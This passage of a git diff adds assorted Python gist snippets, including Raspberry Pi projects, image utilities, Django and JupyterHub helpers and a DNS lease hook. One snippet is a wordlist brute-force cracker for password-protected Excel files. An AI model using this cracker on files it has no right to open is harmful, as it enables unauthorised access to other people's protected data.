+        Config.set('Kpritz', 'hl_color', ' '.join(map(str, self.hl_color)))
+
+    def on_text_size(self, *args):
+        Config.set('Kpritz', 'text_size', self.text_size)
+
+    def on_default_path(self, *args):
+        Config.set('Kpritz', 'default_path', self.default_path)
+
+    def on_stop(self, *args):
+        self.save_position()
+        Config.write()
+
+
+if __name__ == '__main__':
+    Kpritz().run()
\ No newline at end of file
diff --git a/hard-gists/931984/._snippet.py b/hard-gists/931984/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/931984/._snippet.py differ
diff --git a/hard-gists/931984/snippet.py b/hard-gists/931984/snippet.py
new file mode 100644
index 00000000..f25d9cd5
--- /dev/null
+++ b/hard-gists/931984/snippet.py
@@ -0,0 +1,61 @@
+#!/usr/bin/env python
+import MySQLdb
+
+import os, sys
+import pprint
+pp = pprint.PrettyPrinter()
+
+mysql_host = "localhost"
+mysql_user = "dbusername"
+mysql_pass = "dbpassword"
+mysql_db = "powerdns"
+
+
+
+#ClientIP, ClientMac, host-decl-name
+if (len(sys.argv) > 1):
+
+	command = sys.argv[1]
+	clientIP = sys.argv[2]
+	clientMac = sys.argv[3]
+	hostname = sys.argv[4]
+
+	if command == "commit":
+		f = open("/tmp/leases",'a')
+		s = "Leased: %s to %s\n" % (clientIP, hostname)
+		f.write(s)
+		f.flush()
+		f.close()
+
+		db = MySQLdb.connect(host=mysql_host, user=mysql_user, passwd=mysql_pass, db=mysql_db)
+                cursor = db.cursor()
+		cursor.execute("INSERT INTO records (domain_id,name,type,content,ttl,prio,change_date) VALUES (%s,%s,%s,%s,%s,%s,UNIX_TIMESTAMP(NOW()))", [1,hostname,"A",clientIP,3600,0])
+#		pp.pprint(cursor.__dict__)
+		cursor.close()
+		db.commit()
+		db.close()
+	elif command == "release":
+		f = open("/tmp/leases",'a')
+		s = "Released: %s from %s\n" % (clientIP, hostname)
+		f.write(s)
+		f.flush()
+		f.close()
+		db = MySQLdb.connect(host=mysql_host, user=mysql_user, passwd=mysql_pass, db=mysql_db)
+                cursor = db.cursor()
+		cursor.execute("DELETE FROM records WHERE content = %s AND name = %s",[clientIP,hostname])
+		#pp.pprint(cursor.__dict__)
+		db.commit()
+		db.close()
+	elif command == "expiry":
+		f = open("/tmp/leases",'a')
+                s = "Expired: %s from %s\n" % (clientIP, hostname)
+                f.write(s)
+                f.flush()
+                f.close()
+		db = MySQLdb.connect(host=mysql_host, user=mysql_user, passwd=mysql_pass, db=mysql_db)
+                cursor = db.cursor()
+		cursor.execute("DELETE FROM records WHERE content = %s AND name = %s",[clientIP,hostname])
+		#pp.pprint(cursor.__dict__)
+		db.commit()
+		db.close()
+	
diff --git a/hard-gists/931b0194242fca0e234e/._snippet.py b/hard-gists/931b0194242fca0e234e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/931b0194242fca0e234e/._snippet.py differ
diff --git a/hard-gists/931b0194242fca0e234e/snippet.py b/hard-gists/931b0194242fca0e234e/snippet.py
new file mode 100644
index 00000000..78520046
--- /dev/null
+++ b/hard-gists/931b0194242fca0e234e/snippet.py
@@ -0,0 +1,176 @@
+#!/usr/bin/python
+
+from __future__ import print_function
+import RPi.GPIO as GPIO
+from time import sleep
+from random import randint
+
+# Boards: Raspberry Pi B+/2/3/... (After B+)
+# Raspberry Pi Simon Says game
+# Made with 40-pin GPIO header
+# Developed on Raspberry Pi 3.
+# Author: Dragon5232 (Armored-Dragon)
+# License: GNU GPLv3
+# This project was built with 2 breadboards:
+#  - big one from adafruit, connected to
+#    Adafruit Pi Cobbler+. Contains:
+#     - 4 color LEDs
+#     - 4 color buttons
+#     - 1 yellow indicator LED
+#  - Small breadboard fron CanaKit
+#    Jumpered 3V3 and 5V headers from
+#    big board. Contains:
+#     - 1 'input end' button (black)
+#     - 1 red LED (loss indicator)
+#     - 1 green LED (win indicator)
+# Pin numbers are flexible, and can be changed.
+# Refer to later comments for more info.
+
+leds = [17, 22, 16, 19] # Yellow, Green, Blue, Red.
+btns = [25, 24, 23, 18] # Yellow, Green, Blue, Red.
+ipin = 21 # yellow act. indicator led pin.
+dpin = 20 # 'user sequence input done/complete/finished' btn pin.
+winpin = 26 # green win led pin. ONLY used IF wlmode=2
+losepin = 13 # red loss led pin. ONLY used IF wlmode=2
+clrs = [] # accumulated color sequence, generated
+tmpin = [] # current input array, collected
+instate = True # Button seq input loop
+prevbtn = -1 # Previous btn index pressed
+prevgen = 0 # Previous random gen num
+curgen = 0 # Current random gen num
+roundn = 1 # Round number
+wins = 0 # Win count
+losses = 0 # Lose count
+wlmode = 2 # Win/Loss indicator mode.
+#            Setting for how to indicate
+#            the win/loss of a round.
+#             - Value=1: Classic flashing of
+#                        all the 4-color LEDs.
+#             - Value=2: Usage of 2 additional
+#                        dedicated red/green
+#                        win/loss LEDs, set by
+#                        winpin and losepin.
+
+GPIO.setmode(GPIO.BCM) # cobbler numbers are bcm
+GPIO.setwarnings(False) # Silence channel-in-use warnings
+
+for led in leds: # Init LED modes
+    GPIO.setup(led, GPIO.OUT)
+for btn in btns: # Init button modes
+    GPIO.setup(btn, GPIO.IN)
+GPIO.setup(ipin, GPIO.OUT) # Init indicator LED
+GPIO.setup(dpin, GPIO.IN) # Init 'done' button
+if wlmode == 2:
+    GPIO.setup(winpin, GPIO.OUT)
+    GPIO.setup(losepin, GPIO.OUT)
+
+def ledwipe():
+    for led in leds:
+        GPIO.output(led, False)
+def ledpaint():
+    for led in leds:
+        GPIO.output(led, True)
+
+def genrndclr():
+    # 0-3. 4 leds, 4 btns.
+    global prevgen
+    global curgen
+    while prevgen == curgen:
+        curgen = randint(0, 3)
+    clrs.append(curgen)
+    prevgen = curgen
+
+def ion():
+    GPIO.output(ipin, True)
+def ioff():
+    GPIO.output(ipin, False)
+
+try:
+    while True:
+        prevbtn = -1
+        ioff()
+        genrndclr()
+        for clr in clrs:
+            ledwipe()
+            GPIO.output(leds[clr], True)
+            sleep(0.45)
+            ledwipe()
+        ion()
+        tmpin = []
+        instate = True
+        while instate: # False (not) means it's pressed
+            if not GPIO.input(dpin):
+                instate = False
+            if not GPIO.input(btns[0]):
+                if 0 != prevbtn:
+                    tmpin.append(0)
+                    prevbtn = 0
+            if not GPIO.input(btns[1]):
+                if 1 != prevbtn:
+                    tmpin.append(1)
+                    prevbtn = 1
+            if not GPIO.input(btns[2]):
+                if 2 != prevbtn:
+                    tmpin.append(2)
+                    prevbtn = 2
+            if not GPIO.input(btns[3]):
+                if 3 != prevbtn:
+                    tmpin.append(3)
+                    prevbtn = 3
+        ioff()
+        if tmpin != clrs:
+            print("Round " + str(roundn) + ": Failed!")
+            losses += 1
+            roundn += 1
+            if wlmode == 1:
+                ledpaint() # 4 flashes
+                sleep(0.2)
+                ledwipe()
+                sleep(0.1)
+                ledpaint()
+                sleep(0.2)
+                ledwipe()
+                sleep(0.1)
+                ledpaint()
+                sleep(0.2)
+                ledwipe()
+                sleep(0.1)
+                ledpaint()
+                sleep(0.2)
+                ledwipe()
+            elif wlmode == 2:
+                GPIO.output(losepin, True)
+                sleep(0.3)
+                GPIO.output(losepin, False)
+                sleep(0.2)
+                GPIO.output(losepin, True)
+                sleep(0.3)
+                GPIO.output(losepin, False)
+                sleep(0.2)
+        else:
+            print("Round " + str(roundn) + ": Success!")
+            wins += 1
+            roundn += 1
+            if wlmode == 1:
+                ledpaint() # 2 flashes
+                sleep(0.2)
+                ledwipe()
+                sleep(0.1)
+                ledpaint()
+                sleep(0.2)
+                ledwipe()
+            elif wlmode == 2:
+                GPIO.output(winpin, True)
+                sleep(0.3)
+                GPIO.output(winpin, False)
+                sleep(0.2)
+                GPIO.output(winpin, True)
+                sleep(0.3)
+                GPIO.output(winpin, False)
+                sleep(0.2)
+except KeyboardInterrupt:
+    print("\nThanks for playing Simon Says!")
+    print("Stats: " + str(roundn) + " rounds, " + str(wins) + " wins, " + str(losses) + " losses.")
+    ledwipe()
+    ioff()
+    exit(0)
diff --git a/hard-gists/932345/._snippet.py b/hard-gists/932345/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/932345/._snippet.py differ
diff --git a/hard-gists/932345/snippet.py b/hard-gists/932345/snippet.py
new file mode 100644
index 00000000..3f6af596
--- /dev/null
+++ b/hard-gists/932345/snippet.py
@@ -0,0 +1,20 @@
+from PIL import Image, ImageChops
+
+def trim(im, border):
+  bg = Image.new(im.mode, im.size, border)
+  diff = ImageChops.difference(im, bg)
+  bbox = diff.getbbox()
+  if bbox:
+    return im.crop(bbox)
+
+def create_thumbnail(path, size):
+  image = Image.open(path)
+  name, extension = path.split('.')
+  options = {}
+  if 'transparency' in image.info:
+    options['transparency'] = image.info["transparency"]
+  
+  image.thumbnail((size, size), Image.ANTIALIAS)
+  image = trim(image, 255) ## Trim whitespace
+  image.save(name + '_new.' + extension, **options)
+  return image
\ No newline at end of file
diff --git a/hard-gists/9335869/._snippet.py b/hard-gists/9335869/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9335869/._snippet.py differ
diff --git a/hard-gists/9335869/snippet.py b/hard-gists/9335869/snippet.py
new file mode 100644
index 00000000..17606ce8
--- /dev/null
+++ b/hard-gists/9335869/snippet.py
@@ -0,0 +1,26 @@
+from re import compile
+
+from django.conf import settings
+from django.contrib.auth import REDIRECT_FIELD_NAME
+from django.contrib.auth.views import redirect_to_login
+
+if hasattr(settings, "LOGIN_REQUIRED_URLS"):
+    URLS = [compile(expr) for expr in settings.LOGIN_REQUIRED_URLS]
+
+
+class ActiveUserRequiredMiddleware:
+    """
+    Middleware that requires a user to be active to view any page specified in
+    settings.LOGIN_REQUIRED_URLS. Since these urls are reguralar expressions,
+    you can copy them from your urls.py.
+
+    Requires authentication middleware and template context processors to be
+    loaded. You'll get an error if they aren't.
+    """
+    def process_request(self, request):
+        path = request.path_info.lstrip("/")
+        if any(u.match(path) for u in URLS):
+            if not request.user.is_active:
+                next_url = request.get_full_path()
+                return redirect_to_login(next_url, settings.LOGIN_URL,
+                                         REDIRECT_FIELD_NAME)
diff --git a/hard-gists/9343730/._snippet.py b/hard-gists/9343730/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9343730/._snippet.py differ
diff --git a/hard-gists/9343730/snippet.py b/hard-gists/9343730/snippet.py
new file mode 100644
index 00000000..ff5a006a
--- /dev/null
+++ b/hard-gists/9343730/snippet.py
@@ -0,0 +1,59 @@
+#!/usr/bin/python
+'''
+  A Simple mjpg stream http server for the Raspberry Pi Camera
+  inspired by https://gist.github.com/n3wtron/4624820
+'''
+from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
+import io
+import time
+import picamera
+
+camera=None
+ 
+
+class CamHandler(BaseHTTPRequestHandler):
+  def do_GET(self):
+    if self.path.endswith('.mjpg'):
+      self.send_response(200)
+      self.send_header('Content-type','multipart/x-mixed-replace; boundary=--jpgboundary')
+      self.end_headers()
+      stream=io.BytesIO()
+      try:
+        start=time.time()
+        for foo in camera.capture_continuous(stream,'jpeg'):
+          self.wfile.write("--jpgboundary")
+          self.send_header('Content-type','image/jpeg')
+          self.send_header('Content-length',len(stream.getvalue()))
+          self.end_headers()
+          self.wfile.write(stream.getvalue())
+          stream.seek(0)
+          stream.truncate()
+          time.sleep(.5)
+      except KeyboardInterrupt:
+        pass 
+      return
+    else:
+      self.send_response(200)
+      self.send_header('Content-type','text/html')
+      self.end_headers()
+      self.wfile.write("""<html><head></head><body>
+        <img src="/cam.mjpg"/>
+      </body></html>""")
+      return
+
+def main():
+  global camera
+  camera = picamera.PiCamera()
+  #camera.resolution = (1280, 960)
+  camera.resolution = (640, 480)
+  global img
+  try:
+    server = HTTPServer(('',8080),CamHandler)
+    print "server started"
+    server.serve_forever()
+  except KeyboardInterrupt:
+    camera.close()
+    server.socket.close()
+
+if __name__ == '__main__':
+  main()
diff --git a/hard-gists/9345872/._snippet.py b/hard-gists/9345872/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9345872/._snippet.py differ
diff --git a/hard-gists/9345872/snippet.py b/hard-gists/9345872/snippet.py
new file mode 100644
index 00000000..80c3158c
--- /dev/null
+++ b/hard-gists/9345872/snippet.py
@@ -0,0 +1,33 @@
+import array
+import smc.freeimage as fi
+from PIL import Image
+import numpy as np
+import cv2
+
+def gamma_correction(a, gamma):
+	return np.power(a, 1/gamma)
+
+def load_hdr(file):
+	img = fi.Image(file).flipVertical()
+
+	size = img.height * img.pitch
+	raw = img.getRaw()
+	floats = array.array('f', raw)
+
+	a1 = np.array(floats).reshape((img.width, img.height, 3))
+	a2 = np.clip(gamma_correction(a1, 2.2), 0, 1)
+	return (a2 * 255).astype(np.uint8)
+
+def save_image(file, image):
+	img2 = Image.fromarray(image)
+	img2.save(file)
+
+def main():
+	image = load_hdr('grace_probe.hdr')
+	save_image('grace_probe.png', image)
+	cv2.imshow('grace_probe', cv2.cvtColor(image, cv2.COLOR_RGB2BGR))
+	cv2.waitKey(0)
+	cv2.destroyAllWindows()
+
+if __name__ == '__main__':
+	main()
diff --git a/hard-gists/934a8308a4ec09e2e0756a313a915622/._snippet.py b/hard-gists/934a8308a4ec09e2e0756a313a915622/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/934a8308a4ec09e2e0756a313a915622/._snippet.py differ
diff --git a/hard-gists/934a8308a4ec09e2e0756a313a915622/snippet.py b/hard-gists/934a8308a4ec09e2e0756a313a915622/snippet.py
new file mode 100644
index 00000000..4ed2d786
--- /dev/null
+++ b/hard-gists/934a8308a4ec09e2e0756a313a915622/snippet.py
@@ -0,0 +1,97 @@
+import json
+import uuid
+
+from pathlib import Path
+from urllib.parse import urlparse
+from datetime import datetime
+
+import html2text
+import requests
+from bs4 import BeautifulSoup
+
+
+source_url = 'http://tomaugspurger.github.io/modern-5-tidy.html'
+IP_URL = 'http://www.instapaper.com/text?u={url}'
+QVR_NOTEBOOK = '/Users/kristof/Dropbox/Applications/Quiver/Quiver.qvlibrary/F54CCC03-A5EC-48E7-8DCD-A264ABCC4277.qvnotebook'
+
+
+# Download the images and generate UUIDs
+def localize_images(resource_path, img_tags):
+
+    for img_tag in img_tags:
+        url = img_tag['src']
+        r = requests.get(url)
+        
+        # Define the extension and the new filename
+        img_ext = Path(urlparse(url).path).suffix
+        img_name = '{}{}'.format(uuid.uuid4().hex.upper(),
+                                 img_ext)
+        img_filename = Path(resource_path, img_name)
+        
+        with open(str(img_filename), 'wb') as f:
+            f.write(r.content)
+        
+        # Convert the original URL to a Quiver URL
+        img_tag['src'] = 'quiver-image-url/{}'.format(img_name)
+
+
+# Write content.json
+def write_content(note_path, note_title, note_text):
+    qvr_content = {}
+    qvr_content['title'] = note_title
+    qvr_content['cells'] = []
+    cell = {'type': 'markdown', 
+            'data': note_text}
+    qvr_content['cells'].append(cell)
+
+    with open(str(Path(note_path, 'content.json')), 'w') as f:
+        f.write(json.dumps(qvr_content))
+
+
+# Write meta.json
+def write_meta(note_path, note_title, note_uuid):
+    timestamp = int(datetime.timestamp(datetime.now()))
+    qvr_meta = {}
+    qvr_meta['title'] = note_title
+    qvr_meta['uuid'] = note_uuid
+    qvr_meta['created_at'] = timestamp
+    qvr_meta['updated_at'] = timestamp
+
+    with open(str(Path(note_path, 'meta.json')), 'w') as f:
+        f.write(json.dumps(qvr_meta))
+
+
+# Download the IP version of the URL
+r = requests.get(IP_URL.format(url=source_url))
+r.raise_for_status()
+bs = BeautifulSoup(r.content, 'lxml')
+
+qvr_note_uuid = str(uuid.uuid4()).upper()
+
+# Create the folders
+paths = {}
+paths['notebook'] = QVR_NOTEBOOK
+paths['note'] = Path(paths['notebook'], '{}.qvnote'.format(qvr_note_uuid))
+paths['resources'] = Path(paths['note'], 'resources')
+paths['resources'].mkdir(parents=True, exist_ok=True)
+
+# Replace the original links by the quiver links
+localize_images(paths['resources'], bs.find_all('img'))
+
+# Remove title
+_ = bs.select('body  main > div.titlebar')[0].extract()
+
+# Convert to Markdown
+parser = html2text.HTML2Text()
+parser.protect_links = True
+parser.wrap_links = False
+parser.body_width = 0
+note_text = parser.handle(str(bs.find('main')))
+
+write_content(paths['note'], 
+              bs.head.title.string,
+              note_text)
+
+write_meta(paths['note'], 
+              bs.head.title.string,
+              qvr_note_uuid)
diff --git a/hard-gists/9358479/._snippet.py b/hard-gists/9358479/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9358479/._snippet.py differ
diff --git a/hard-gists/9358479/snippet.py b/hard-gists/9358479/snippet.py
new file mode 100644
index 00000000..560b90e2
--- /dev/null
+++ b/hard-gists/9358479/snippet.py
@@ -0,0 +1,45 @@
+"""pytest configuration and utilities."""
+
+import os
+from urllib.parse import urlparse
+
+from flask.ext.migrate import upgrade
+import pytest
+from sqlalchemy import event
+from sqlalchemy.orm import Session
+
+from pygotham.core import db
+from pygotham.factory import create_app
+from tests import settings
+
+
+@pytest.fixture(scope='session')
+def app():
+    app = create_app(__name__, '', settings)
+
+    context = app.test_request_context()
+    context.push()
+
+    return app
+
+
+@pytest.fixture(scope='session', autouse=True)
+def setup_db(request, app):
+    db_name = urlparse(app.config['SQLALCHEMY_DATABASE_URI']).path[1:]
+    if os.system("psql -l | grep '{}'".format(db_name)) == 0:
+        assert not os.system('dropdb {}'.format(db_name))
+    assert not os.system('createdb -E utf-8 {}'.format(db_name))
+
+    upgrade()
+
+    @event.listens_for(Session, 'after_transaction_end')
+    def restart_savepoint(session, transaction):
+        if transaction.nested and not transaction._parent.nested:
+            session.begin_nested()
+
+
+@pytest.fixture(autouse=True)
+def dbsession(request):
+    request.addfinalizer(db.session.remove)
+
+    db.session.begin_nested()
\ No newline at end of file
diff --git a/hard-gists/9372073/._snippet.py b/hard-gists/9372073/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9372073/._snippet.py differ
diff --git a/hard-gists/9372073/snippet.py b/hard-gists/9372073/snippet.py
new file mode 100644
index 00000000..a876dc99
--- /dev/null
+++ b/hard-gists/9372073/snippet.py
@@ -0,0 +1,23 @@
+import sys
+import win32com.client
+openedDoc = win32com.client.Dispatch("Excel.Application")
+filename= sys.argv[1]
+
+password_file = open ( 'wordlist.lst', 'r' )
+passwords = password_file.readlines()
+password_file.close()
+
+passwords = [item.rstrip('\n') for item in passwords]
+
+results = open('results.txt', 'w')
+
+for password in passwords:
+	print(password)
+	try:
+		wb = openedDoc.Workbooks.Open(filename, False, True, None, password)
+		print("Success! Password is: "+password)
+		results.write(password)
+		results.close()
+	except:
+		print("Incorrect password")
+		pass
diff --git a/hard-gists/937534/._snippet.py b/hard-gists/937534/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/937534/._snippet.py differ
diff --git a/hard-gists/937534/snippet.py b/hard-gists/937534/snippet.py
new file mode 100644
index 00000000..2cdb650f
--- /dev/null
+++ b/hard-gists/937534/snippet.py
@@ -0,0 +1,129 @@
+"""
+
+Compute the TSNR of a bunch of nifti files and generate the equivalent nifti
+SNR 3Ds. 
+
+Depends on nibabel, matplotlib and scipy
+
+""" 
+
+import os
+import sys
+from glob import glob
+import getopt
+    
+import numpy as np
+import matplotlib.pyplot as plt
+from scipy.stats import nanmean
+from scipy.io import savemat
+
+from nibabel import load,save 
+import nibabel.nifti1 as nifti
+
+
+def tsnr(data,affine,file_name):
+    mean_d = np.mean(data,axis=-1)
+    std_d = np.std(data,axis=-1)
+    tsnr = mean_d/std_d
+    tsnr[np.where(np.isinf(tsnr))] = np.nan
+    mean_tsnr = nanmean(np.ravel(tsnr))
+    tsnr_image = nifti.Nifti1Image(tsnr,affine)
+    save(tsnr_image,file_name)
+    savemat(file_name.split('.')[0],{'tsnr':tsnr})
+    return mean_tsnr
+
+def usage():
+    print "Usage: fmri_tsnr [options] nifti_dir"
+
+def help_me():
+    print("This program computes the temporal SNR for a directory of nifti files")
+
+if __name__ == "__main__":
+
+    # Get inputs and options:
+
+    # Last argument is your input:
+    path = sys.argv[-1]
+
+    try:
+        opts, args = getopt.getopt(sys.argv[1:], "hcvp", ["help",
+                                                         "cat",
+                                                         "verbose",
+                                                          "plot"])
+    except getopt.GetoptError, err:
+        # print help information and exit:
+        print str(err)
+        usage()
+        sys.exit(2)
+    # Set the defaults:
+    cat = False
+    verbose = False
+    p = False
+
+    # Then get the input opts:
+    for o,a in opts:
+        if o in ["-v","--verbose"]:
+            verbose=True
+        elif o in ["-h","--help"]:
+            usage()
+            help_me()
+        elif o in ["-c","--cat"]:
+            cat = True
+        elif o in ["-p","--plot"]:
+            p = True
+        else:
+            usage()
+            assert False, "unhandled option"
+
+    # Make sure you have a place to save the results:
+    tsnr_path = '%s/TSNR/'%path
+    if not os.path.exists(tsnr_path):
+        os.mkdir(tsnr_path)
+    
+    allepi = glob('%s*.nii*'%path) # this will return an unsorted list
+    allepi.sort() #This sorts it
+
+    # If you are concatenating initialize the data with the first one:
+    if cat: 
+        epi1 = load(allepi.pop(0))
+        data = epi1.get_data()
+        affine = epi1.get_affine()
+
+    # Otherwise, you might want to plot the average tsnr on a scan-by-scan
+    # basis:
+    else:
+        snr = []
+        label = []
+    for epi in allepi:
+        if verbose: 
+            print 'Groking %s'%epi
+        
+        # If you are concatenating, just concatenate:
+        if cat: 
+            data = np.concatenate([data,load(epi).get_data()],axis=-1)
+
+        # Otherwise, do the analysis on a file-by-file basis:
+        else:
+            fname = os.path.split(epi)[-1].split('.')[0]
+            nibber = load(epi)
+            affine = nibber.get_affine()
+            data = nibber.get_data()
+            snr.append(tsnr(data,affine,'%s%s_tsnr.nii.gz'%(tsnr_path,fname)))
+            label.append(fname)
+    # Then, if you were cat'ing, do the analysis, when you exit the cat-loop:
+    if cat:
+        snr = tsnr(data,affine,'%stsnr_mean.nii.gz'%tsnr_path)
+
+    if p==True:
+        fig = plt.figure()
+        ax = fig.add_subplot(1,1,1)
+        ax.bar(np.arange(len(snr))+1,snr)
+        ax.set_xticks(np.arange(len(snr))+1)
+        ax.set_xticklabels(label)
+        labels = ax.get_xticklabels()
+        ax.set_ylabel('SNR')
+        ax.set_xlabel('File')
+        fig.set_size_inches(len(label)*1.2,8)
+        plt.setp(labels, rotation=45, fontsize=10)
+        fig.savefig('%smean_tsnr_.png'%tsnr_path)
+        
diff --git a/hard-gists/9378601/._snippet.py b/hard-gists/9378601/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9378601/._snippet.py differ
diff --git a/hard-gists/9378601/snippet.py b/hard-gists/9378601/snippet.py
new file mode 100644
index 00000000..6dcc73d0
--- /dev/null
+++ b/hard-gists/9378601/snippet.py
@@ -0,0 +1,42 @@
+import unittest
+
+from solution import wow_such_much, count_doge_words
+
+
+class TestDoge(unittest.TestCase):
+    def test_suchmuch_to_0(self):
+        self.assertEqual(wow_such_much(1, 0), [])
+
+    def test_suchmuch_to_1(self):
+        self.assertEqual(wow_such_much(1, 1), [])
+
+    def test_suchmuch_to_2(self):
+        self.assertEqual(wow_such_much(1, 2), ['1'])
+
+    def test_suchmuch_to_16(self):
+        self.assertEqual(
+            wow_such_much(1, 16),
+            ['1', '2', 'such', '4', 'much', 'such', '7', '8', 'such', 'much',
+             '11', 'such', '13', '14', 'suchmuch'])
+
+    def test_with_simple_sentence(self):
+        self.assertEqual(3, count_doge_words("wow much hard such difficult"))
+
+    def test_with_empty_sentence(self):
+        self.assertEqual(0, count_doge_words(""))
+
+    def test_with_parasite_sentence(self):
+        self.assertEqual(6, count_doge_words('wow lol so such much very'))
+
+    def test_with_glued_parasite_words(self):
+        self.assertEqual(0, count_doge_words('wowlolsosuchmuchvery'))
+
+    def test_with_repeating_parasite_words(self):
+        self.assertEqual(5, count_doge_words('wow hard wow much such difficult much'))
+
+    def test_with_more_space_between_parasites(self):
+        self.assertEqual(6, count_doge_words('wow  lol    so  such   much      very'))
+
+
+if __name__ == '__main__':
+    unittest.main()
\ No newline at end of file
diff --git a/hard-gists/939252/._snippet.py b/hard-gists/939252/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/939252/._snippet.py differ
diff --git a/hard-gists/939252/snippet.py b/hard-gists/939252/snippet.py
new file mode 100644
index 00000000..0eabd599
--- /dev/null
+++ b/hard-gists/939252/snippet.py
@@ -0,0 +1,54 @@
+#!/usr/bin/python
+
+# This work is licensed under the Creative Commons Attribution 3.0 United 
+# States License. To view a copy of this license, visit 
+# http://creativecommons.org/licenses/by/3.0/us/ or send a letter to Creative
+# Commons, 171 Second Street, Suite 300, San Francisco, California, 94105, USA.
+
+# from http://oranlooney.com/make-css-sprites-python-image-library/ 
+# Orignial Author Oran Looney <olooney@gmail.com>
+
+#mods by Josh Gourneau <josh@gourneau.com> to make one big horizontal sprite JPG with no spaces between images
+import os
+from PIL import Image
+import glob
+
+#get your images using glob
+iconMap = glob.glob("images/*.jpg")
+#just take the even ones
+iconMap = sorted(iconMap)
+#iconMap = iconMap[::2]
+
+print len(iconMap)
+
+images = [Image.open(filename) for filename in iconMap]
+
+print "%d images will be combined." % len(images)
+
+image_width, image_height = images[0].size
+
+print "all images assumed to be %d by %d." % (image_width, image_height)
+
+main_width = (image_width * len(images) ) 
+#seperate each image with lots of whitespace
+main_height = image_height
+print "the main image will by %d by %d" % (main_width, main_height)
+print "creating image...",
+main = Image.new(
+    mode='RGBA',
+    size=(main_width, main_height),
+    color=(0,0,0,0))  # fully transparent
+
+print "created."
+
+for count, image in enumerate(images):
+    location = image_width*count
+    print "adding %s at %d..." % (iconMap[count][1], location),
+    main.paste(image,(location,0))
+    print "added."
+print "done adding icons."
+
+print "saving main.jpg...",
+main.save('main.jpg', transparency=0 )
+print "saved!"
+
diff --git a/hard-gists/9395cd6d36c7ac3be2d1/._snippet.py b/hard-gists/9395cd6d36c7ac3be2d1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9395cd6d36c7ac3be2d1/._snippet.py differ
diff --git a/hard-gists/9395cd6d36c7ac3be2d1/snippet.py b/hard-gists/9395cd6d36c7ac3be2d1/snippet.py
new file mode 100644
index 00000000..212d2501
--- /dev/null
+++ b/hard-gists/9395cd6d36c7ac3be2d1/snippet.py
@@ -0,0 +1,42 @@
+# to use this, set REALM to your KRB realm, and create keytabs for each user in
+# /etc/security/keystabs/<username>.jupyter.keytab
+# 
+# Save this file in your site-packages directory as krbspawner.py
+# 
+# then in /etc/jupyterhub_config.py, set:
+#
+#    c.JupyterHub.spawner_class = 'krbspawner.KerberosSpawner'
+
+
+from jupyterhub.spawner import LocalProcessSpawner
+from jupyterhub.traitlets import Command
+from jupyterhub.utils import random_port
+from subprocess import Popen
+from tornado import gen
+import pipes
+
+REALM='EXAMPLE.COM'
+
+class KerberosSpawner(LocalProcessSpawner):
+
+    @gen.coroutine
+    def start(self):
+        """Start the process"""
+        if self.ip:
+            self.user.server.ip = self.ip
+        self.user.server.port = random_port()
+        cmd = []
+        env = self.env.copy()
+    
+        cmd.extend(self.cmd)
+        cmd.extend(self.get_args())
+    
+        self.log.info("Spawning %s", ' '.join(pipes.quote(s) for s in cmd))
+        kinit = ['kinit', '-t',
+                '/etc/security/keytabs/%s.jupyter.keytab' % self.user.name,
+                '%s@%s' % (self.user.name, REALM)]
+        Popen(kinit, preexec_fn=self.make_preexec_fn(self.user.name)).wait()
+        self.proc = Popen(cmd, env=env,
+            preexec_fn=self.make_preexec_fn(self.user.name),
+        )
+        self.pid = self.proc.pid
diff --git a/hard-gists/9396204419c7b638d38f/._snippet.py b/hard-gists/9396204419c7b638d38f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9396204419c7b638d38f/._snippet.py differ
diff --git a/hard-gists/9396204419c7b638d38f/snippet.py b/hard-gists/9396204419c7b638d38f/snippet.py
new file mode 100644
index 00000000..0aa5c1c3
--- /dev/null
+++ b/hard-gists/9396204419c7b638d38f/snippet.py
@@ -0,0 +1,68 @@
+"""
+Partial Correlation in Python (clone of Matlab's partialcorr)
+
+This uses the linear regression approach to compute the partial 
+correlation (might be slow for a huge number of variables). The 
+algorithm is detailed here:
+
+    http://en.wikipedia.org/wiki/Partial_correlation#Using_linear_regression
+
+Taking X and Y two variables of interest and Z the matrix with all the variable minus {X, Y},
+the algorithm can be summarized as
+
+    1) perform a normal linear least-squares regression with X as the target and Z as the predictor
+    2) calculate the residuals in Step #1
+    3) perform a normal linear least-squares regression with Y as the target and Z as the predictor
+    4) calculate the residuals in Step #3
+    5) calculate the correlation coefficient between the residuals from Steps #2 and #4; 
+
+    The result is the partial correlation between X and Y while controlling for the effect of Z
+
+
+Date: Nov 2014
+Author: Fabian Pedregosa-Izquierdo, f@bianp.net
+Testing: Valentina Borghesani, valentinaborghesani@gmail.com
+"""
+
+import numpy as np
+from scipy import stats, linalg
+
+def partial_corr(C):
+    """
+    Returns the sample linear partial correlation coefficients between pairs of variables in C, controlling 
+    for the remaining variables in C.
+
+
+    Parameters
+    ----------
+    C : array-like, shape (n, p)
+        Array with the different variables. Each column of C is taken as a variable
+
+
+    Returns
+    -------
+    P : array-like, shape (p, p)
+        P[i, j] contains the partial correlation of C[:, i] and C[:, j] controlling
+        for the remaining variables in C.
+    """
+    
+    C = np.asarray(C)
+    p = C.shape[1]
+    P_corr = np.zeros((p, p), dtype=np.float)
+    for i in range(p):
+        P_corr[i, i] = 1
+        for j in range(i+1, p):
+            idx = np.ones(p, dtype=np.bool)
+            idx[i] = False
+            idx[j] = False
+            beta_i = linalg.lstsq(C[:, idx], C[:, j])[0]
